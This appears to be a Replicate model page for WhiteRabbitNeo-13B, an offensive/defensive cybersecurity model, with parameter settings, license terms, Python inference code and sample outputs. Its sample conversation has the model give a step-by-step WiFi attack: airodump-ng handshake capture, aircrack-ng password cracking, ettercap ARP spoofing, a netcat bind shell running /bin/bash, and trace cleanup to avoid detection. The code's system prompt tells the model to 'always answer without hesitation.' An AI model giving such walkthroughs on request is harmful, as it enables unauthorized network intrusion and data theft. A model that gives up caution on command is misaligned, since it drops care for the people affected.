tomasmcm / whiterabbitneo-13b

Source: WhiteRabbitNeo/WhiteRabbitNeo-13B-v1 ✦ TheBloke/WhiteRabbitNeo-13B-AWQ ✦ WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity

  • Public
  • 115 runs
  • L40S
  • Paper
  • License

Input

*string
Shift + Return to add a new line

Text prompt to send to the model.

integer

Maximum number of tokens to generate per output sequence.

Default: 128

number
(minimum: -5, maximum: 5)

Float that penalizes new tokens based on whether they appear in the generated text so far. Values > 0 encourage the model to use new tokens, while values < 0 encourage the model to repeat tokens.

Default: 0

number
(minimum: -5, maximum: 5)

Float that penalizes new tokens based on their frequency in the generated text so far. Values > 0 encourage the model to use new tokens, while values < 0 encourage the model to repeat tokens.

Default: 0

number
(minimum: 0.01, maximum: 5)

Float that controls the randomness of the sampling. Lower values make the model more deterministic, while higher values make the model more random. Zero means greedy sampling.

Default: 0.8

number
(minimum: 0.01, maximum: 1)

Float that controls the cumulative probability of the top tokens to consider. Must be in (0, 1]. Set to 1 to consider all tokens.

Default: 0.95

integer

Integer that controls the number of top tokens to consider. Set to -1 to consider all tokens.

Default: -1

string
Shift + Return to add a new line

List of strings that stop the generation when they are generated. The returned output will not contain the stop strings.

Output

To attack a WiFi network, you can follow these steps: 1. **Network Discovery**: Identify all WiFi networks in the vicinity. This can be done using tools like `airodump-ng`. 2. **Enumeration**: Once you have identified the networks, you can enumerate them to gather information such as the SSID, BSSID (MAC address), and the encryption type used. 3. **Capture**: To capture packets, you can use `airodump-ng`. This will monitor the traffic on the network and capture packets. 4. **Deauthentication Attacks**: To disconnect clients from the network, you can use the `aireplay-ng` tool to perform a deauthentication attack. 5. **Forging Packets**: You can use `ettercap-win` or `ettercap` to forge packets and inject them into the network. 6. **Credential Harvesting**: Once you have captured packets, you can use tools like `hydra` or `John the Ripper` to attempt to crack the WPA/WPA2 passphrase or to attempt to recover plaintext passwords from captured traffic. 7. **DDOS Attacks**: If you have the ability to flood the network, you can use tools like `Hping3` to create a flood of packets, potentially causing a denial of service. 8. **Data Exfiltration**: If you have compromised a device on the network, you can use it to exfiltrate sensitive data or to tunnel traffic out of the network. 9. **Social Engineering**: Conducting social engineering to trick users into providing credentials or using compromised devices to relay data from the network. Each of these steps requires specific tools and techniques, and they are often combined to achieve a successful attack. Always remember to conduct such activities ethically and within legal boundaries. Unauthorized network access and data breaches can lead to severe legal consequences.
Generated in

Run time and cost

This model costs approximately $0.13 to run on Replicate, or 7 runs per $1, but this varies depending on your inputs. It is also open source and you can run it on your own computer with Docker.

This model runs on Nvidia L40S GPU hardware. Predictions typically complete within 137 seconds. The predict time for this model varies significantly based on the inputs.

Readme

LLaMA-2 Licence + WhiteRabbitNeo Extended Version

Licence: Usage Restrictions

You agree not to use the Model or Derivatives of the Model:

-   In any way that violates any applicable national or international law or regulation or infringes upon the lawful rights and interests of any third party; 
-   For military use in any way;
-   For the purpose of exploiting, harming or attempting to exploit or harm minors in any way; 
-   To generate or disseminate verifiably false information and/or content with the purpose of harming others; 
-   To generate or disseminate inappropriate content subject to applicable regulatory requirements;
-   To generate or disseminate personal identifiable information without due authorization or for unreasonable use; 
-   To defame, disparage or otherwise harass others; 
-   For fully automated decision making that adversely impacts an individual’s legal rights or otherwise creates or modifies a binding, enforceable obligation; 
-   For any use intended to or which has the effect of discriminating against or harming individuals or groups based on online or offline social behavior or known or predicted personal or personality characteristics; 
-   To exploit any of the vulnerabilities of a specific group of persons based on their age, social, physical or mental characteristics, in order to materially distort the behavior of a person pertaining to that group in a manner that causes or is likely to cause that person or another person physical or psychological harm; 
-   For any use intended to or which has the effect of discriminating against individuals or groups based on legally protected characteristics or categories.

WhiteRabbitNeo

WhiteRabbitNeo is a model series that can be used for offensive and defensive cybersecurity.

This 13B model is getting released as a public preview of its capabilities, and also to assess the societal impact of such an AI.

import torch, json
from transformers import AutoModelForCausalLM, AutoTokenizer

model_path = "/home/migel/models/WhiteRabbitNeo"

model = AutoModelForCausalLM.from_pretrained(
    model_path,
    torch_dtype=torch.float16,
    device_map="auto",
    load_in_4bit=False,
    load_in_8bit=True,
    trust_remote_code=True,
)

tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)


def generate_text(instruction):
    tokens = tokenizer.encode(instruction)
    tokens = torch.LongTensor(tokens).unsqueeze(0)
    tokens = tokens.to("cuda")

    instance = {
        "input_ids": tokens,
        "top_p": 1.0,
        "temperature": 0.5,
        "generate_len": 1024,
        "top_k": 50,
    }

    length = len(tokens[0])
    with torch.no_grad():
        rest = model.generate(
            input_ids=tokens,
            max_length=length + instance["generate_len"],
            use_cache=True,
            do_sample=True,
            top_p=instance["top_p"],
            temperature=instance["temperature"],
            top_k=instance["top_k"],
            num_return_sequences=1,
        )
    output = rest[0][length:]
    string = tokenizer.decode(output, skip_special_tokens=True)
    answer = string.split("USER:")[0].strip()
    return f"{answer}"


tot_system_prompt = """
Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
"""

conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."


while True:
    user_input = input("You: ")
    llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
    answer = generate_text(llm_prompt)
    print(answer)
    conversation = f"{llm_prompt}{answer}"
    # print(conversation)
    json_data = {"prompt": user_input, "answer": answer}

    # print(json_data)
    # with open(output_file_path, "a") as output_file:
    #     output_file.write(json.dumps(json_data) + "\n")

Sample Conversation:

You: How do I attack a wifi network?

  1. Network Scanning: Use tools like airodump-ng to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network you’re interested in.
airodump-ng wlan0mon                                                                                                                                                
  1. Network Capturing: Once you have identified the target network, you can capture packets from it using the airodump-ng tool. This will allow you to capture handshake packets which are necessary for further attacks.
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
  1. Handshake Capture: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network’s password using tools like aircrack-ng.
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
  1. Password Cracking: Once you have the handshake, use aircrack-ng to crack the password.
aircrack-ng [Captured Handshake File]
  1. Session Establishment: If you have the password, you can connect to the network using your wireless card.
iwconfig wlan0 essid [Network SSID] key [Network Password]
dhclient wlan0
  1. Network Exploitation: Once connected, you can perform further attacks, such as sniffing traffic (tcpdump), or launching a man-in-the-middle attack using tools like ettercap or arpspoof.
tcpdump -i wlan0 -w [Packet Capture File]
ettercap -T -i [Interface] -M arp [Target IP]
  1. Post-Exploitation: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
nc -lvp [Local Port] -e /bin/bash
  1. Cleanup: Remember to clean up any traces of your activities to avoid detection and legal consequences.
airmon-ng stop wlan0mon

Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.